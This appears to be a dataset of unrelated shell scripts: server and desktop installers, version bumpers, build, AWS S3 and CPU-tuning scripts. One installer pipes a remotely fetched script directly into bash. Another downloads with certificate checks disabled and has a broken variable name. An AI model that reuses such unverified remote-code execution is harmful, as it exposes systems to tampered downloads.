-instcount -load DCC888.$suffix -ssProf \\\n $lnk_name -o $prf_name 2> /dev/null ;\n \n # Compile our instrumented file, in IR format, to x86:\n $LLVM_PATH/llc -filetype=obj $prf_name -o $obj_name ;\n # Compile everything now, producing a final executable file:\n $LLVM_PATH/$COMPILER -lm $obj_name $PROF_PATH/store_data_collector.o -o $exe_name ;\n}"} {"text": "#!/bin/bash\n\napt-get update\n\n\nif [ \"$(id -u)\" != \"0\" ]; then\n echo \"you should run this script with root!!! \"\n exit 1\nelse\n\n\n# Golang installation\n\n# Download Go and extract the compressed file:\n\n donwload=\"go$VERSION.linux-amd64.tar.gz\" \n echo \"$dowload is being downloaded !!!!\"\n wget https://storage.googleapis.com/golang/$dowload -O /tmp/go.tar.gz\n\n tar -C \"$HOME\" -xzf /tmp/go.tar.gz\n mv \"$HOME/go\" \"$HOME/.go\"# Set the GOPATH environment variable to specify the location of our workspace.\n\n touch \"$HOME/.${shell_profile}\"\n {\n echo '# GoLang'\n echo 'export GOROOT=$HOME/.go'\n echo 'export PATH=$PATH:$GOROOT/bin'\n echo 'export GOPATH=$HOME/go'\n echo 'export PATH=$PATH:$GOPATH/bin'\n } >> \"$HOME/.${shell_profile}\"\n\n mkdir -p $HOME/go/{src,pkg,bin}\n rm -f /tmp/go.tar.gz\n\n# git installation\n\n sudo apt-get install -y git\n adduser --disabled-login --gecos 'Gogs' git # When you install Go and Gogs, it will be under the user git.\n\n# Gogs installation\n\n echo \"\" >>/etc/hosts\n echo \"$1 $2\" >>/etc/hosts\n hostnamectl set-hostname $2\n echo \"$2\" > /proc/sys/kernel/hostname\n\n apt-get install -y wget nginx git-core mysql-client mysql-server # Install nginx from the repository:\n\n cd /home/git\n wget --no-check-certificate https://dl.gogs.io/0.11.4/linux_amd64.tar.gz\n tar -xvf linux_amd64.tar.gz && rm -f linux_amd64.tar.gz\n\n echo \"CREATE USER 'gogs'@'localhost' IDENTIFIED BY $3;\" >>/home/git/gogs/scripts/mysql.sql\n echo \"GRANT ALL PRIVILEGES ON gogs.* TO 'gogs'@'localhost';\" >>/home/git/gogs/scripts/mysql.sql \n\n mysql -p < /home/git/gogs/scripts/mysql.sql\n\n chmod +x /home/git/gogs/gogs\n mkdir -p /home/git/gogs/log\n\n chown -R git:git /home/git/gogs\n chown -R git:git /home/git/gogs/*\n cp /home/git/gogs/scripts/systemd/gogs.service /etc/systemd/system/ # Download and install Gogs\n sed -i 's|mysqld.service|mysqld.service mysql.service|' /etc/systemd/system/gogs.service\n\n systemctl daemon-reload\n systemctl enable gogs.service\n systemctl start gogs.service\n \n# Set nginx as the reverse proxy for Gogs. Using sudo, create a new file named /etc/nginx/sites-available/gogs\n \n echo 'server {\n listen IP:80;\n server_name DOMAIN;\n\n proxy_set_header X-Real-IP $remote_addr; # pass on real client IP\n\n location / {\n proxy_pass http://localhost:3000;\n }\n }' > /etc/nginx/sites-available/gogs.conf\n\n ln -s /etc/nginx/sites-available/gogs.conf /etc/nginx/sites-enabled/gogs.conf\n\n sed -i \"s/IP/$1/\" /etc/nginx/sites-available/gogs.conf\n sed -i \"s/DOMAIN/$2/\" /etc/nginx/sites-available/gogs.conf\n service nginx restart\n\n echo \"installation completed\"\n\n systemctl enable gogs.service\n systemctl start gogs.service\n\nfi"} {"text": "go/path.zsh\nexport GOPATH=$PROJECTS/go\nexport PATH=$GOPATH/bin:$PATH"} {"text": "#!/usr/bin/env bash\n## VERSION 1\n\nDOT=${1:-minor}\nPACKAGE=${GITHUB_WORKSPACE:-.}/package.json\nVERSION=$(grep '\"version\":' $PACKAGE | sed -e 's/^[^:]\\+: \"\\([^\"]\\+\\)\".*/\\1/g')\n\nfunction error() {\n >&2 echo \"Error: $1\"\n exit 1\n}\n\nfunction set_version() {\n [[ ! \"${NEW_VERSION}\" ]] && error \"No version\"\n [[ \"${VERSION}\" = \"${NEW_VERSION}\" ]] && error \"No change ${VERSION}\"\n\n sed -i \"s/\\\"${VERSION}\\\"/\\\"${NEW_VERSION}\\\"/\" $PACKAGE\n echo \"Revised from $VERSION -> $NEW_VERSION\"\n}\n\nfunction check_param() {\n if [[ \"${DOT}\" =~ [0-9]+\\.[0-9]+\\.[0-9]+ ]]; then\n NEW_VERSION=$(echo ${DOT} | sed 's/^[^0-9]*//')\n elif [[ \"${DOT}\" =~ [0-9]+\\.[0-9]+ ]]; then\n nver=$(echo ${DOT} | sed -e 's/^[^0-9]*//' -e 's/^\\([0-9]\\+\\)\\.\\([0-9]\\+\\)$/\\1.\\2.0/')\n if [[ \"$(mm ${VERSION})\" = \"$(mm ${nver})\" ]]; then\n NEW_VERSION=$(mmm ${nver} mmm micro)\n else\n NEW_VERSION=$nver\n fi\n elif [[ \"${DOT}\" =~ ^major|minor|micro$ ]]; then\n NEW_VERSION=\"$(mmm ${VERSION} mmm ${DOT})\"\n else\n echo \"$0 [ | [major|minor|micro]]\"\n exit 1;\n fi\n}\n\nfunction mm() {\n echo $(mmm $1 mm)\n}\n\nfunction m() {\n echo $(mmm $1 m)\n}\n\n### mmm [major|minor|micro]\nfunction mmm() {\n local _vstring=${1##*-}\n local _parts=$2\n local _incr=$3\n local major=\n local minor=\n local micro=\n\n IFS='.' read major minor micro <<< ${_vstring}\n\n [[ ! \"${_vstring}\" =~ ^[0-9]+\\.[0-9]+\\.[0-9]+$ ]] \\\n && >&2 echo \"Error invalid version\" \\\n && echo \"\" \\\n && exit 1\n\n if [[ \"$_incr\" ]]; then\n eval ${_incr}=$( expr ${!_incr} + 1 )\n\n case \"$_incr\" in\n 'major' ) minor=0; micro=0 ;;\n 'minor' ) micro=0 ;;\n esac\n fi\n\n case \"$_parts\" in\n 'm') echo \"${major}\" ;;\n 'mm') echo \"${major}.${minor}\" ;;\n *) echo \"${major}.${minor}.${micro}\" ;;\n esac\n}\n\ncheck_param\nset_version"} {"text": "0\n#!/bin/bash\n\n\n#Open ports and enable firewall.\n\nsudo ufw allow 22\nsudo ufw allow 2015\nsudo ufw allow 5900\nsudo ufw allow 20595\nsudo ufw allow 25565\nsudo ufw enable\n\n#Install programs that can be installed through APT.\n\nsudo apt-get update\n\nsudo apt-get install -y 0ad audacious audacity audex axel backintime-gnome build-essential \\\nchromium-browser clang cmake cryptsetup curl darktable digikam flac fslint gcolor2 \\\ngeoclue-2.0 gimp-ufraw git git-gui gitk gnome-search-tool gnupg2 gpa gparted hddtemp \\\niotop jpegoptim kcalc kdenlive lame lm-sensors mumble nmap oathtool openshot \\\nopenssh-server opus-tools p7zip-full playonlinux psensor redshift soundconverter steam testdisk \\\nthunderbird trickle unetbootin unoconv vinagre virt-manager vorbis-tools wine\n\n\n# Install simplescreenrecorder\n\nsudo add-apt-repository -y ppa:maarten-baert/simplescreenrecorder\nsudo apt-get update\nsudo apt-get install -y simplescreenrecorder\n\n\n#Install Atom\n\nwget -O atomdeb.deb https://atom.io/download/deb\nsudo dpkg -i atomdeb.deb\nrm atomdeb.deb\n\n\n#Install NodeJS\n\nINSTALL_FAIL2BAN=yes\n\nwget -nv https://raw.githubusercontent.com/coolaj86/node-install-script/master/setup.bash -O - | bash\n\n\n#Install Open Sans font\n\nsudo mv OpenSans /usr/share/fonts/truetype/"} {"text": "#!/bin/sh\n\nextendedWarning() {\n ${CAT} << END_OF_FILE\n o Add ro flag to both block devices in /etc/fstab\nEND_OF_FILE\n}\n\nupdateFstab() {\n updateFstab_exitCode=${EXIT_SUCCESS}\n logT 'Beginning updateFstab'\n\n filename=/etc/fstab\n fileext=.orig.stage9898\n\n logT \"Backing up ${filename} to ${filename}.${fileext}\"\n if [ \\! -f ${filename}.${fileext} ]; then\n mv ${filename} ${filename}.${fileext}\n\n if [ ${?} -gt 0 ]; then\n logE 'Error occurred backing up /etc/fstab file'\n updateFstab_exitCode=${EXIT_FAILURE}\n fi\n fi\n\n logT \"Updating ${filename} to add ro flag to devices\"\n sed -e '/\\/proc/!s/defaults/defaults\\,ro/' ${filename}.${fileext} > ${filename}\n\n if [ ${?} -gt 0 ]; then\n logE 'Error occurred backing up /etc/fstab file'\n updateFstab_exitCode=${EXIT_FAILURE}\n fi\n\n logT 'Finishing updateFstab'\n return ${updateFstab_exitCode}\n}\n\nmain() {\n main_exitCode=${EXIT_SUCCESS}\n\n updateFstab\n\n if [ ${?} -gt 0 ]; then\n logE 'updateFstab failed.'\n main_exitCode=${EXIT_FAILURE}\n fi\n\n return ${main_exitCode}\n}\n\n# Do not exit 0! This file is intended to get sourced."} {"text": "#!/bin/bash\n\nset -euo pipefail\n\ncargo test --package codevisual\ncargo test --package codevisual-demo"} {"text": "bump_version.sh\n#!/bin/sh\nset -e\n\nNEW_MINOR=$1\nNEW_PATCH=$2\n[[ -z \"$NEW_MINOR\" ]] && exit 1\n[[ -z \"$NEW_PATCH\" ]] && exit 1\n\nVERSION=$(grep \"^## CVMFS_VERSION\" CMakeLists.txt | cut -d\" \" -f3)\necho \"Current version: $VERSION\"\n\nVERSION=\"$(echo $VERSION | cut -d. -f1).${NEW_MINOR}.${NEW_PATCH}\"\necho \"New version: $VERSION\"\n\necho \"Patching libcvmfs\"\nsed -i -e \"s/^#define LIBCVMFS_VERSION_MINOR \\(.*\\)/#define LIBCVMFS_VERSION_MINOR $NEW_MINOR/\" cvmfs/libcvmfs.h\ngrep VERSION cvmfs/libcvmfs.h\n\necho \"Patching CMakeLists.txt\"\nsed -i -e \"s/^## CVMFS_VERSION \\(.*\\)/## CVMFS_VERSION $VERSION/\" CMakeLists.txt\nsed -i -e \"s/^set (CernVM-FS_VERSION_MINOR \\(.*\\)/set (CernVM-FS_VERSION_MINOR $NEW_MINOR)/\" CMakeLists.txt\nsed -i -e \"s/^set (CernVM-FS_VERSION_PATCH \\(.*\\)/set (CernVM-FS_VERSION_PATCH $NEW_PATCH)/\" CMakeLists.txt\ngrep VERSION CMakeLists.txt\n\necho \"Patching RPM\"\nsed -i -e \"s/^Version: \\(.*\\)/Version: $VERSION/\" packaging/rpm/cvmfs-universal.spec\ngrep Version packaging/rpm/cvmfs-universal.spec"} {"text": "Rhcsky/TextRecognitionDataGeneratorout/create_gt.sh\n#!/usr/bin/env bash\n\npython gt.py basic\npython gt.py skew\npython gt.py back\npython gt.py blur\npython gt.py dist"} {"text": "#!/usr/bin/env bash\n\n\npython infer_pruned.py /data/yahe/imagenet/ImageNet2012 -a resnet50 --workers 4 --batch-size 64 \\\n--resume /data/yahe/imagenet/resnet50-rate-0.7/checkpoint.resnet50.2018-01-07-9744.pth.tar \\\n--small_model ./logs/ResNet50_pruned_rate0.3.pt \\\n-e --eval_small --save_dir ./logs/infer_small_model/\n\npython infer_pruned.py /data/yahe/imagenet/ImageNet2012 -a resnet50 --workers 4 --batch-size 64 \\\n--resume /data/yahe/imagenet/resnet50-rate-0.7/checkpoint.resnet50.2018-01-07-9744.pth.tar \\\n--small_model ./logs/ResNet50_pruned_rate0.3.pt \\\n-e --save_dir ./logs/infer_model_withzero/"} {"text": "10-100\n#!/usr/bin/env bash\n\nset -e -u -x\n\nmkdir -p keys/web keys/worker\n\nopenssl genpkey -algorithm RSA -out ./keys/web/tsa_host_key -pkeyopt rsa_keygen_bits:4096\nopenssl genpkey -algorithm RSA -out ./keys/web/session_signing_key -pkeyopt rsa_keygen_bits:4096\nopenssl genpkey -algorithm RSA -out ./keys/worker/worker_key -pkeyopt rsa_keygen_bits:4096\n\nchmod 600 ./keys/ -R\n\nssh-keygen -y -f ./keys/web/tsa_host_key > ./keys/web/tsa_host_key.pub\nssh-keygen -y -f ./keys/web/session_signing_key > ./keys/web/session_signing_key.pub\nssh-keygen -y -f ./keys/worker/worker_key > ./keys/worker/worker_key.pub\n\ncp ./keys/worker/worker_key.pub ./keys/web/authorized_worker_keys\ncp ./keys/web/tsa_host_key.pub ./keys/worker"} {"text": "0\n#!/bin/bash\n\nif [[ -z $(which rdmsr) ]]; then\n echo \"msr-tools is not installed. Run 'sudo apt-get install msr-tools' to install it.\" >&2\n exit 1\nfi\n\nfunction turbo-boost-ctl() {\n cores=$(cat /proc/cpuinfo | grep processor | awk '{print $3}')\n for core in $cores; do\n if [[ $1 == \"disable\" ]]; then\n\t sudo wrmsr -p${core} 0x1a0 0x4000850089\n fi\n\tif [[ $1 == \"enable\" ]]; then\n sudo wrmsr -p${core} 0x1a0 0x850089\n\tfi\n state=$(sudo rdmsr -p${core} 0x1a0 -f 38:38)\n\tif [[ $state -eq 1 ]]; then\n echo \"core ${core}: disabled\"\n\telse\n echo \"core ${core}: enabled\"\n\tfi\n done\n}\n\nturbo-boost-ctl enable\nstate=1\ncheck_counter=1\nwhile true; do\n val=$(sensors | awk '/CPU/ {print $2}')\n max=\"+90.0\"\n min=\"+70.0\"\n if [ \"$val\" \\> \"$max\" ] && [ $state == 1 ]; then\n\techo \"Disable turbo-boost at temp: ${val}\"\n\tturbo-boost-ctl disable\n\tstate=0\n fi\n if [ \"$val\" \\< \"$min\" ] && [ $state == 0 ]; then\n\techo \"Enable turbo-boost at temp: ${val}\"\n\tturbo-boost-ctl enable\n\tstate=1\n fi\n\n check_counter=$((check_counter+1))\n if [ $(( $check_counter % 60 )) == 0 ]; then\n\techo \"CPU sensor temperature value: ${val}\"\n fi\n sleep 1\ndone\n\nexit 0"} {"text": "#!/bin/bash\n# Copyright (c) Facebook, Inc. and its affiliates.\n#\n# This source code is licensed under the MIT license found in the\n# LICENSE file in the root directory of this source tree.\n\n# This script creates a build subdirectory called \"build_wasm\" and builds Hermes\n# inside it. The result (hermes.js, hermes.wasm) will be under \"build_wasm/bin\".\n# It requires three parameters:\n# - the path to Emscripten, so that it can find\n# \"emscripten/cmake/Modules/Platform/Emscripten.cmake\" relative to it\n# - the path to the Hermes source tree\n# - the path to a host hermesc, so that it can find \"ImportHermesc.cmake\"\n# relative to it. See \n#\n# An example of usage:\n# ./build-hermes.sh ~/github/emsdk/upstream/ ~/github/hermes ~/hermes-host-hermesc\n\nSCRIPT=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\nBUILD_DIR=\"${SCRIPT}/build_wasm\"\nREL_DIR=\"${SCRIPT}/static\"\n\nset -e\n\n[ -z \"$1\" ] && echo \"Emscripten path required\" && exit 1\nEMS_PATH=\"$1\"\nshift\n\n[ -z \"$1\" ] && echo \"Hermes path required\" && exit 1\nHERMES_PATH=\"$1\"\nshift\n\n[ -z \"$1\" ] && echo \"Host Hermesc path required\" && exit 1\nHOST_HERMESC_PATH=\"$1\"\nshift\n\nFLAGS=\"\"\nFLAGS=\"$FLAGS -s WASM=1\"\nFLAGS=\"$FLAGS -s ALLOW_MEMORY_GROWTH=0\"\nFLAGS=\"$FLAGS -s TOTAL_MEMORY=33554432\"\nFLAGS=\"$FLAGS -s MODULARIZE=1 -s EXPORT_NAME=createHermes\"\nFLAGS=\"$FLAGS -s INVOKE_RUN=0\"\nFLAGS=\"$FLAGS -s EXIT_RUNTIME=1\"\nFLAGS=\"$FLAGS -s NODERAWFS=0\"\nFLAGS=\"$FLAGS -s EXTRA_EXPORTED_RUNTIME_METHODS=[callMain,FS]\"\n\ncleanup() {\n rm -rf \"$BUILD_DIR\"\n}\n\nconfigure() {\n mkdir \"$BUILD_DIR\" && cd \"$BUILD_DIR\"\n cmake \"$HERMES_PATH\" \\\n -DCMAKE_TOOLCHAIN_FILE=\"$EMS_PATH/emscripten/cmake/Modules/Platform/Emscripten.cmake\" \\\n -DCMAKE_BUILD_TYPE=MinSizeRel \\\n -DIMPORT_HERMESC:PATH=\"$HOST_HERMESC_PATH/ImportHermesc.cmake\" \\\n -DCMAKE_EXE_LINKER_FLAGS=\"$FLAGS\"\n}\n\nbuild () {\n make -j hermes\n}\n\n# copy the build artifacts to release dir\ncopy () {\n cp \"$BUILD_DIR/bin/hermes.js\" \"$REL_DIR/hermes.js\"\n cp \"$BUILD_DIR/bin/hermes.wasm\" \"$REL_DIR/hermes.wasm\"\n}\n\ncleanup && configure && build && copy"} {"text": "#!/bin/bash\n\n#Note that we assume that we are running from the directory that where\n#everything is located. If you want to move this script, set the $SCRIPT_DIR\n#variable some other way\n\nSCRIPT_DIR=\"$( cd \"$( dirname \"${BASH_SOURCE[0]}\" )\" && pwd )\"\n\ncd $SCRIPT_DIR\nsource $SCRIPT_DIR/env/bin/activate\nwhich python\n\n#Run tests! (with any extra parameters passed in)\npython $(which nosetests) $*"} {"text": "customAWSCLIHelper.sh\n# font type&colors\nbold=\"\\e[1m\"\ninv=\"\\e[7\"\nred=\"\\e[31m\"\ngreen=\"\\e[32m\"\nyellow=\"\\e[33m\"\nreset=\"\\e[0m\"\n\n# Creates new S3 Bucket with the given bucket name\nfunction createS3Bucket {\n if [ -z \"$1\" ]\n then\n echo ${red}${bold}No arguments supplied! \n echo ${yellow}${bold}Please enter a valid bucket name\n else\n echo ${yellow}${bold}Creating \"'$1'\" S3 Bucket...${reset}\n aws s3 mb s3://$1\n # aws s3api create-bucket --bucket $1 --region us-east-1 Same behavior \n echo \"${yellow}${bold}<$1> S3 Bucket successfully created${reset}\"\n fi\n}\n\n# Returns Bucket List || Bucket Content (with given bucket name parameter)\nfunction getBucketList {\n if [ -z \"$1\" ]\n then\n echo ${red}${bold}No arguments supplied! \n echo ${yellow}${bold}Please enter a valid bucket name\n aws s3 ls\n else\n echo ${yellow}${bold}Getting \"'$1'\" bucket...${reset}\n aws s3 ls $1 --recursive\n fi\n}\n\n# Returns Bucket List\nfunction getBucketListS3api {\n aws s3api list-buckets\n # aws s3api list-buckets --query \"Buckets[]\"\n}\n\n# Uploads the given file to the given bucket\nfunction uploadToBucket {\n if [ -z \"$1\" ] || [ -z \"$2\" ]\n then\n echo ${red}${bold}No arguments supplied! \n echo ${yellow}${bold}Please enter a valid bucket name\n else\n echo ${yellow}${bold}All files are uploading to \"'$1'\" bucket..${reset}\n aws s3 cp $2 s3://$1 --acl public-read\n fi\n}\n\n# Syncing Folder Contents(default acl => public-read)\nfunction syncBucket {\n if [ -z \"$1\" ]\n then\n echo ${red}${bold}No arguments supplied! \n echo ${yellow}${bold}Please enter a valid bucket name\n else\n echo ${yellow}${bold}Syncing folder to \"'$1'\" bucket..${reset}\n aws s3 sync . s3://$1 --acl public-read\n # aws s3 sync . s3://my-bucket/path --exclude \"*.txt\" --include \"MyFile*.txt\"\n fi\n}\n\n# Downloading Bucket contents to \"$1Bucket\" named folder\nfunction downloadBucketContent {\n if [ -z \"$1\" ]\n then\n echo ${red}${bold}No arguments supplied! \n echo ${yellow}${bold}Please enter a valid bucket name\n else\n echo ${yellow}${bold}Downloading content from \"'$1'\" bucket..${reset}\n aws s3 cp s3://$1 ./$1Bucket --recursive\n fi\n}\n\n# Shows File Content of the given bucket&file\nfunction getBucketFileContent {\n if [ -z \"$1\" ] || [ -z \"$2\" ] \n then\n echo ${red}${bold}No arguments supplied! \n echo ${yellow}${bold}Please enter a valid bucket name\n else\n echo ${yellow}${bold}'Getting file content from \"'$1'\" bucket...'${reset}\n aws s3 cp s3://$1/$2 -\n fi\n}\n\n# Returns the given bucket size\nfunction getBucketSize {\n if [ -z \"$1\" ]\n then\n echo ${red}${bold}No arguments supplied! \n echo ${yellow}${bold}Please enter a valid bucket name\n else\n echo ${yellow}${bold}Calculating '{$1}' bucket size...${reset}\n aws s3 ls s3://$1/ --recursive | awk 'BEGIN {total=0}{total+=$3}END{print total/1024/1024\" MB\"}'\n fi\n}\n\n# Returns info of the given bucket contents \nfunction getBucketInfo {\n if [ -z \"$1\" ]\n then\n echo ${red}${bold}No arguments supplied! \n echo ${yellow}${bold}Please enter a valid bucket name\n else\n echo ${yellow}${bold}Preparing '{$1}' bucket size...${reset}\n aws s3api list-objects-v2 --bucket $1\n fi\n}\n\n# Returns the list of AWS CloudFront Distribution\nfunction cloudFrontDistributionList {\n echo ${yellow}${bold}Preparing distribution list...${reset}\n aws cloudfront list-distributions\n}\n\n# Invalidates whole folder via AWS CloudFront Distribution-ID\nfunction invalidateCloudFront {\n if [ -z \"$1\" ]\n then\n echo ${red}${bold}No arguments supplied! \n echo ${yellow}${bold}Please enter a valid distribution-id\n else\n echo ${yellow}${bold}Creating new invalidation...${reset}\n aws cloudfront create-invalidation --distribution-id $1 --paths \"/*\"\n fi\n}\n\n# Returns all invalidation list of the given AWS CloudFront distribution-id\nfunction listInvalidate {\n if [ -z \"$1\" ]\n then\n echo ${red}${bold}No arguments supplied! \n echo ${yellow}${bold}Please enter a valid distribution-id\n else\n echo ${yellow}${bold}Creating new invalidation...${reset}\n aws cloudfront list-invalidations --distribution-id $1\n # aws cloudfront list-invalidations --distribution-id E1G3DAUDDSO3PX --output table\n fi\n}"} {"text": "1-10\n#!/bin/bash\n\n# Enable Job Control\nset -m\nexec 666<> ./DaraSharedMem\nGoDist-Scheduler $1 &\nsleep 2\n\nexport GOMAXPROCS=1\nexport DARAON=true\nexport DARA_PROFILING=true\nexport DARAPID=1\n\nlaunch_program() {\n if [ -z \"$RUN_SCRIPT\" ]\n then\n ./$PROGRAM\n else\n ./$RUN_SCRIPT\n fi\n}\n\nstart_program() {\n if [ \"$DARA_MODE\" = \"explore\" ]\n then\n while [ ! -f ./explore_finish ]\n do\n launch_program\n done \n else\n launch_program\n fi\n}\n\nif [ -z \"$BENCH_RECORD\" ]\nthen\n\tstart_program\nelse\n date +\"%s%6N\" > record.tmp\n start_program\n date +\"%s%6N\" >> record.tmp\nfi\n# Bring back GoDist-Scheduler to foreground\nfg\nRC=$?\nif [ $RC != 0 ]; then\n exit 0\nfi\nrm ./DaraSharedMem"} {"text": "carlosrodriguez75/docker-compose-lamp\nchmod 600 .msmtprc\n\nmv .msmtprc /etc/.msmtp_php\n\nchown www-data:www-data /etc/.msmtp_php\n\nmv php.ini /etc/php5/php.ini\n\ntouch /var/log/msmtp.log\n\nchown www-data:www-data /var/log/msmtp.log\n\napachectl restart"} {"text": "10-100\n#!/bin/bash\n\ncd base_image && ./build_and_push.sh && cd -\ncd identity && fn --verbose deploy --local --all && cd -\ncd access && fn --verbose deploy --local --all && cd -\ncd accounting && fn --verbose deploy --local --all && cd -\ncd storage && fn --verbose deploy --local --all && cd -\ncd compute && fn --verbose deploy --local --all && cd -\ncd registry && fn --verbose deploy --local --all & cd -"} {"text": "#!/bin/bash\n\nC10T=c10t\n[[ -x ./$C10T ]] && C10T=./$C10T\n\nscriptdir=$(dirname $(readlink -f $0))\n\nworld=\"\"\noutput=\"\"\nhost=\"\"\nzoom=5\nfactor=4\nbase=256\nres=$scriptdir\nopts=\"\"\n\nexit_usage() {\n echo \"Usage: google-api -w -o [options]\"\n echo \"-H - Host prefix to use for all scripts\"\n echo \"-z - Number of zoom levels to generate (default: 5)\"\n echo \"-b - Resolution for the base tile (default: 256px)\"\n echo \"-r - Directory to look for reasources (defaults to script directory)\"\n echo \"-O - Extra options to pass directly to c10t\"\n exit 1\n}\n\nwhile getopts \"w:o:H:z:b:O:h\" opt; do\n case $opt in\n w) world=$OPTARG ;;\n o) output=$OPTARG ;;\n H) host=$OPTARG ;;\n O) opts=$OPTARG ;;\n h) exit_usage ;;\n z)\n zoom=$OPTARG\n factor=$[$zoom - 1]\n ;;\n b) base=$OPTARG ;;\n \\?) exit 1 ;;\n esac\ndone\n\nshift $OPTIND\n\n[ -z $world ] && exit_usage\n[ -z $output ] && exit_usage\n\n[ ! -d $world ] && {\n echo \"$0: -w: directory does not exist: $world\";\n exit_usage\n}\n\n[ ! -d $output ] && {\n echo \"$0: -o: directory does not exist: $output\";\n exit_usage\n}\n\n[ $zoom -lt 2 ] && {\n echo \"$0: -z: must be a numberic value greater than 2, but was '$zoom'\";\n exit_usage\n}\n\n[ $base -lt 32 ] && {\n echo \"$0: -b: must be a numberic value greater than 32, but was '$base'\";\n exit_usage\n}\n\nif ! $C10T -h &> /dev/null; then\n echo \"Could not find executable: $C10T\"\n exit_usage\nfi\n\ngoogle_js=$res/libc10t.google.js\nindex_html=$res/index.html\n\n[ ! -f $google_js ] && {\n echo \"could not find: $google_js\"\n exit 1;\n}\n\n[ ! -f $index_html ] && {\n echo \"could not find: $index_html\"\n exit 1;\n}\n\nhost_google_js=\"${host}$(basename $google_js)\"\nhost_options_js=\"${host}options.js\"\n\ncreate_tile_sizes() {\n b=$base\n i=$[$zoom - 1]\n\n echo -n $[$b / 2]\n\n while [[ $i -gt 0 ]]; do\n echo -n \" $b\"\n b=$[$b*2]\n i=$[$i - 1]\n done\n}\n\nsplits=$(create_tile_sizes)\n# this is what each tile will be resized to\n\ntiles=$output/tiles\nc10t_opts=\"$opts -w $world\"\n\nif [[ -z $world ]] || [[ ! -d $world ]]; then\n echo \"Directory does not exist: $world\";\n exit 1;\nfi\n\n[ ! -d $target ] && mkdir -p $target\n[ ! -d $tiles ] && mkdir -p $tiles\n\ngenerate() {\n x_opts=$1\n name=$2\n pixelsplit=\"$3\"\n\n # generate a set of split files\n tile=$tiles/$name.%d.%d.%d.png\n\n echo \"$C10T $c10t_opts $x_opts --split=\\\"$pixelsplit\\\" --split-base=$base -o $tile --write-json=$output/$name.json\"\n if ! $C10T $c10t_opts $x_opts --split=\"$pixelsplit\" --split-base=$base -o $tile --write-json=\"$output/$name.json\"; then\n exit 1\n fi\n\n echo \"done!\"\n}\n\necho \"Copying $index_html\"\ncat $index_html | \\\n sed -r \"s/\\bC10T_GOOGLE_JS\\b/$host_google_js/\" | \\\n sed \"s/\\bC10T_OPTIONS_JS\\b/$host_options_js/\" > $output/index.html\n\necho \"Copying $google_js\"\ncp $google_js $output\n\ngenerate \"\" \"day\" \"$splits\"\ngenerate \"-n\" \"night\" \"$splits\"\n\ncat > $output/options.js << ENDL\nvar options = {\n factor: $factor,\n host: \"${host}tiles/\",\n scaleControl: false,\n navigationControl: true,\n streetViewControl: false,\n noClear: false,\n backgroundColor: \"#000000\",\n isPng: true,\n}\n\nvar modes = {\n 'day': { name: \"Day\", alt: \"Day Mode\", data: $(cat $output/day.json)},\n 'night': { name: \"Night\", alt: \"Night Mode\", data: $(cat $output/night.json)},\n}\nENDL"} {"text": "#!/bin/bash\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n\nset -euxo pipefail\n\ncleanup() {\n rm -rf /boost_1_67_0 /boost_1_67_0.tar.gz\n}\n\ntrap cleanup 0\n\ncurl -LO https://boostorg.jfrog.io/artifactory/main/release/1.67.0/source/boost_1_67_0.tar.gz\nBOOST_HASH=8c247e040303a97895cee9c9407ef205e2c3ab09f0b8320997835ad6221dff23a87231629498ccfd0acca473f74e9ec27b8bd774707b062228df1e5f72d44c92\necho \"$BOOST_HASH\" boost_1_67_0.tar.gz | sha512sum -c\ntar -xf boost_1_67_0.tar.gz\n\npushd boost_1_67_0\n./bootstrap.sh --with-python=\"$(which python3.7)\"\n./b2 install --with-python --with-system --with-filesystem --with-thread --with-regex\npopd\n\nln -s /usr/local/lib/libboost_python37.so.1.67.0 /usr/local/lib/libboost_python.so\nln -s /usr/local/lib/libboost_python37.a /usr/local/lib/libboost_python.a"} {"text": "bin/bash_aliases-update-debian.sh\n#!/bin/sh\n# This script updates cp's current .bash_aliases file into dotfiles folder, adds, and does git commit.\ncp ~/.bash_aliases ~/.dotfiles/debian/debian.bash_aliases # update to reflect current directory tree\ncd ~/.dotfiles/ || exit 0\ngit add ~/.dotfiles/debian/bash_aliases && git commit \necho \"Added and commited .bash_aliases to ~/.dotfiles/ git repo\"\necho \"Use git push to push to remote.\""} {"text": "sonoff/get_version.sh0\ncrossarch_build_get_version () {\n echo \"beta\"\n}"} {"text": "client-cert-auth/build-docker-image.sh\n#!/bin/bash\n\ndocker build -t my-httpd-2.4 ."} {"text": "entrypoint.sh\n#!/usr/bin/env bash\n\nset -e\n\nnpm install -g remark-cli@10.0.1\n\n# shellcheck disable=SC2086\nnpm install -g $INPUT_PLUGINS\n\nfor path in ${INPUT_FILES}\ndo\n # shellcheck disable=SC2086\n npx remark \"$path\" --rc-path=\"${INPUT_RC_PATH}\" ${INPUT_ARGS}\ndone"} {"text": "rm -rvf ~/.m2/repository/android\nrm -rfv ~/.m2/repository/com/google/android/"} {"text": "save_function termux_step_make termux_step_make_bk\n\ntermux_step_make() {\n\ttermux_step_make_bk || \\\n\t\tcd \"$GOPATH\"/src/github.com/asciimoo/wuzz \\\n\t\t&& GO111MODULE=auto go mod tidy \\\n\t\t&& GO111MODULE=auto go get github.com/BurntSushi/toml \\\n\t\t&& GO111MODULE=auto go get github.com/PuerkitoBio/goquery \\\n\t\t&& GO111MODULE=auto go get github.com/alessio/shellescape \\\n\t\t&& GO111MODULE=auto go get github.com/jroimartin/gocui \\\n\t\t&& GO111MODULE=auto go get github.com/mattn/go-runewidth \\\n\t\t&& GO111MODULE=auto go get github.com/mitchellh/go-homedir \\\n\t\t&& GO111MODULE=auto go get github.com/nsf/termbox-go \\\n\t\t&& GO111MODULE=auto go get github.com/nwidger/jsoncolor \\\n\t\t&& GO111MODULE=auto go get github.com/tidwall/gjson \\\n\t\t&& GO111MODULE=auto go get github.com/x86kernel/htmlcolor \\\n\t\t&& GO111MODULE=auto go get golang.org/x/net/proxy \\\n\t\t&& GO111MODULE=auto go build\n}"} {"text": "ZhengChenCS/ParSecureML\nmpirun -np 3 ../MLP ../../setup/MNIST"} {"text": 